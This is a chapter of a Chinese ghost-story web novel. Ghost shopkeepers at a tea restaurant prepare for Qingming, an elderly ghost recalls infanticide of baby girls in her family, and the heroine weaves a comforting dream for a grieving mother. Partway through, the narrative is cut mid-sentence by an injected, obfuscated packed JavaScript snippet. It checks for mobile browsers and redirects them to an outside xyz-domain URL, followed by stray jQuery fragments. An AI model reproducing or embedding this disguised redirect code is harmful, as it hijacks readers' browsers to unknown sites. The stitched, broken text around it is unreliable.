40.040

作品:《成为鬼怪的她

    回到店中,文春忙不迭将幸芝如何吓唬那老妪告诉田有芳。


    “田婶,你要不要报仇?”


    田有芳看了眼幸芝,小声道:“他们都是我生的,我养的,说报仇过了些。”


    “也是,田婶你自己都不恨他们。”


    文春说完便忙去了,临近清明,攒了一年功德的野鬼也想进店坐坐,兴许能碰巧有个机缘再入轮回。文春便守在店门口轰走那些浑水摸鱼的野鬼。


    那对老夫妻也在其中,双手合十苦苦哀求,本就破烂的衣裳如今只能勉强遮住要害部位,稍微动作大点都要露相。


    文春是知道前因后果的,加上她又是因野鬼哄骗白白丢了性命,心肠硬得像压酸菜的大石头。


    “走吧走吧,别来这儿求。再说,你们又不是不知道,那孟婆汤一喝,前尘尽了,人家都轮回去了,你们也是搞笑还指望人家隔一辈子记着你们,也不想想你们上辈子怎么对你姑娘的。我若是她,恨不得下辈子下下辈子八辈子离你们远远的!”


    平白受了一顿呛,老太太沉了脸道:“我们不与你说话,我们是来求阿元那孙女的,你唤她出来。”


    “阿元孙女,阿元孙女,你们算什么东西,我幸芝姐姐是你们想见就见的。走开走开,撞见你们今儿准没好事。”


    文春无牵无挂,性子越发泼辣。


    幸芝打量着她,想看得仔细些,好找到那个初见时满脸惊慌哭唧唧的姑娘。


    田婶眨巴着眼睛:“这丫头生前也这样?”


    “若是有这万分之一,她也不会就这么到我这来。”


    田婶了然。


    “我怀老二时,我家里的盼着是个姑娘,说姑娘比小子贴心。为此我家老大伤心得不要不要的,天天在墙根下祈祷我生个弟弟。结果,真如他愿了。”


    “老实说,我不想生个姑娘。”


    田婶顿了顿道:“我不是重男轻女,我们那儿,早些年造孽太多,折了太多姑娘,我上面本来有两个姊姊,头一个刚落地就扔尿桶里淹死了。你知道刚生下来的娃娃会水吧,得一直按着,按着呛进去,有时能漂半天,有时还有气呢就扳旱厕里。旱厕知道不。第二个姊姊生下来缺了截腕子,我奶拎着青紫的人儿剁碎了倒进菜园地里,说下次再来就剁碎了喂狗。我生下来哭声响亮,四肢健全,我聪明呢,一把揪着我娘衣襟死活不撒手。我不想生姑娘,是怕她受罪。那会儿太受罪了。”


    “你丈夫是个好人,如今已入轮回,就算见着他未必认出你。”


    田婶摇头:“不,我也不想见他。我这辈子算是赔给他了。下辈子就是做鬼,我也想为自己活一回。”


    话虽如此,里间的娃儿一哼唧,田婶的耳朵便竖起来。


    “下辈子,至少不做母猪下崽了。”


    ****


    第三日。清明。


    无雨。


    田婶坐在门前叹气。她仍穿着来时的那身衣裳。


    眼见有些鬼客穿着新衣打跟前晃悠,田婶满眼羡慕,怕鬼抵到跟前炫耀,田婶抱着娃儿进了里间。


    人有没眼力见的,鬼亦如此。


    有只死了十来年的女鬼,因葬在祖坟里,后人中又出了贵人,逢年过节沾些光也落得不少油水。


    今年换了身行头四处招摇。


    知道些因果的懒得理会她,她晃悠着腰身环顾一圈直奔田婶。


    “婶子,您瞧着会些针线活,您给看看,我这腰身是不是宽了些,容您劳神帮忙掐上几针。”


    田婶闻言将娃娃放在膝前,正要上手时,女鬼避开了些道:“婶子,您要知道,从前我的衣裳都是裁缝上门特意给我做的,量体裁衣知道吧。也不知今年咋回事,腰宽了这些,我可没有减肥哦,打我死那日,这体重就再没上去过。”


    田婶是个心善的,奉承道:“您身量好,穿什么都好看。”


    女鬼昂着头道:“那时自然,实话跟你说,我活着那会儿,要不是家里拦着不肯,我是要去拍电影做明星的,可惜了,却是个短命的。”


    话虽如此说,她丝毫没有悔意,戳人心肺般冷言道:“婶子,这清明了,你家后人怎么还不给你弄身新衣裳穿穿,不会连寿衣没准备吧。”


    说完,掩着嘴巴轻笑,一双细长的眉眼四下打量,只等有人接茬儿好跟她一起上。


    店里有些鬼客是知道田婶来历,也知道田婶将来也许会留在茶餐厅里,就像当初文春一样,没有鬼会跟茶餐厅里的店员过不去。


    田婶神色低落,小声回了句:“我给自己预备寿衣的,怕是有事耽搁了。”


    女鬼见无人附和心生无趣,随口道:“兴许是真给耽搁了,您跟那丫头熟,让她领你回去看看呗。她神通广大,说不定能给你弄两身新衣裳充充门面呢。”


    说完,也不理会田婶,扭着腰身离开茶餐厅。


    幸芝自打入夜开始便忙得很,直到文春打她跟前换装才想起今年无人祭拜自己。她环顾茶餐厅,若不是阿元将这里留给自己,兴许她跟外面的野鬼一般四处讨食。


    幸芝决定去死时,是抱着一了百了的决心。


    然而,死亡并不是一切结束的终点,死,只是另一个开始。


    比生更绝望的开始。


    文春摩挲着衣服上的花纹,眼眶泛红。


    “做了鬼才知道,能被人记着也挺好。”


    因为没有寻得尸身,文春在世间只定性为失踪,失踪尚不满两年。没有坟地没有墓碑,这两年只能像孤魂野鬼般游荡。


    幸芝走出茶餐厅,抬头看向那一轮弯月。


    “文春,今日早些闭店,带你们出去转转。”


    幸芝说完,见文春没有应答,回头看见鬼差大人坐在门前的竹椅上。


    “大人今日休沐?”


    “嗯。”


    鬼差大人今日情绪不佳。


    “老三样?”


    “嗯。”


    幸芝亲手给他端上一壶凉茶和两碟茶点,梅花糕和杏花酥。


    “你们要打烊?”


    “原是这么计划,不过您来了,自然招待您优先。”


    幸芝站在门前,朝文春招手,示意她赶紧让田婶带着孩子避一避,毕竟那孩子来得奇怪。


    鬼差看得清楚,低声道:“还有六日,我来接田有芳时,会顺道把他也带走。”


    “啊。”幸芝一慌:“您都知道了。”


    “七窍受损,原就是想送来你这里养养。算了,你再养他几日,等下回投胎也能全乎些。”


    “如此甚好。”


    幸芝听说是他将孩子送来,一颗心也就安稳了,便让田婶领着孩子出来见他。


    才过几日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979760|176217||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,已能稳当走上几步,只是口不能言眼不视物,怯生生站在田婶身边。


    鬼差横竖打量她两眼道:“你那烛油,可否借我两滴,将来还你。”


    “您要自然有的,我这便取来。”


    幸芝心道,您老人家也知道是烛油,您还,您将来拿什么来还。她也只敢心里念叨,这片地都是靠他罩着,得罪不起。


    幸芝取来三滴烛油,虽不知鬼差作何用途,但势必对他十分重要。


    “怎么三滴,我只需两滴。”


    “买二送一,这滴不用您还。”


    鬼差掂量着琉璃瓶,忽然开口道:“省着点吧,等将来……算了,与你说这些何用。”


    说完,便挥手朝巷口走去。


    幸芝只觉得他今日背影尤为寂寞,不知他可如自己一般临近清明无人祭拜。可又想,能做鬼差的,想必世间已无血亲。


    “姐,还关门出去游荡吗?”


    文春小声问道。


    “嗯,没有用完的茶点,放在路旁吧,天亮之前咱们再回来收拾。”


    “要去哪里?”


    “清明嘛,自然是回去看看。”


    本着尊老爱幼的原则,幸芝此番第一站就进了看守所。


    顺着小娃娃身上的阴线很快找到他的血亲。


    只是他看不见,隐约能察觉出什么,欲上前却什么也抓不住。


    女人紧靠着墙壁,脸色苍白双颊深陷,一双眼睛无神地盯着天花板。她的房间四周都是防撞条和静音棉,上面各种痕迹来看,她应该是激烈反抗过。


    她原本有更好的人生,只是一时识人不清。


    田婶擦着眼睛道:“能帮帮她吗?”


    “我可以给她织一个梦,但其他的,只能靠她自己熬了。”


    幸芝沉吟片刻,取出烛油滴在女子眉心。


    梦中,女子睁开双眼,在一处迷雾森林中,不时有孩童的欢声笑语传来,时近时远,像躲猫猫般让人看不真切。


    “妈妈。”


    “妈妈。”


    “妈妈,我在这里。”


    “元宝,元宝,元宝你在哪里?”


    “这里,元宝在这里。”


    一道月光自天空倾泻,小孩儿衣着整齐摇摇晃晃奔跑着,他张开双臂满脸笑意扑进女子怀中。


    “妈妈,我好想你。”


    “妈妈,妈妈也好想你。”女子哽咽道:“是妈妈对不起,是妈妈害了你。元宝等等妈妈,妈妈这就来陪你。”


    元宝摇摇头,指着不远处的迷雾道:“妈妈,元宝现在很好,也不疼了,身子也养好了,下一次投胎我还会选你做妈妈。所以妈妈要赶快好起来,将来我们还会再见的。”


    “可是妈妈舍不得你,妈妈只想搂着元宝,我们永远不分开。”


    元宝摇摇头道:“元宝不后悔选妈妈做妈妈,所以妈妈赶快好起来,下一次,元宝来选爸爸吧。”


    女子收紧双臂,丝毫不肯松懈。


    “妈妈,元宝爱你。”


    离开看守所后,田婶追问道:“这样有用吗?”


    “也许吧。”


    “姐姐,你能保证元宝下一次还能投胎到她肚子里?”


    “不能。”


    “那你……”


    “人总要先活下去,活着才有希望。”